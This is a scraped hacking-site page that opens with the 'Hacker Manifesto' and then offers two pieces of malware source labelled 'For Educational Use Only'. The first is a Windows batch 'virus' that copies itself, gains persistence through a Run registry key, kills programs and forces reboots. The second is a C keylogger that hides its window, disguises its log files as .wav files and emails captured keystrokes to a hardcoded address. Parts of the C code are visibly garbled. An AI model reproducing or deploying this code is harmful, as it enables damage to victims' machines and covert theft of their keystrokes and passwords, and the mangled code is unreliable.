http://www.elhacker.net/hacking.htm

My Confession as a Hacker

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Mam, I didn't show my work. I did it in my head."Damn kid. Probably copied it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike. And then it happened. A door opened to a world rushingthrough my phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong." I know everyone here... even if I've never met them, nevertalked to them, may never hear from them again... I know you all. Damn kid. Tying up the phone line again. They're all alike. You bet your ass we're all alike... we've been spoon-fed babyfood at school when we hungered for steak... the bits ofmeat that you did let slip through were pre-chewed and tasteless.We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils,but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch,the beauty of the baud. We make use of a service already existingwithout paying for what could be dirt-cheap if it wasn't run byprofiteering gluttons, and you call us criminals.We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomicbombs, you wage wars, you murder, cheat, and lie to us andtry to make us believe it's for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not whatthey look like. My crime is that of outsmarting you, somethingthat you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... After all, we're all alike.

DOS Virus

For Educational Use Only

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

C++ Keylogger

Warning For Educational Use Only, Use on you own Cause


/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/

#include
#include
#include
#include
#include
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "lopso900@gmail.com"
#define cemailfrom "agentsmith@fbi.gov"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int get_keys(void);
int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}

/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t = get_keys();
return t;
}

int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen(FileName,"a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) file="fopen(FileName," len="ftell(file);">=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

}
return EXIT_SUCCESS;
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < err="recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err]" bytes_sent="send(sockfd,line,strlen(line),0);" err="recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err]">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<"); strncat(line,emailto,strlen(emailto)); strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}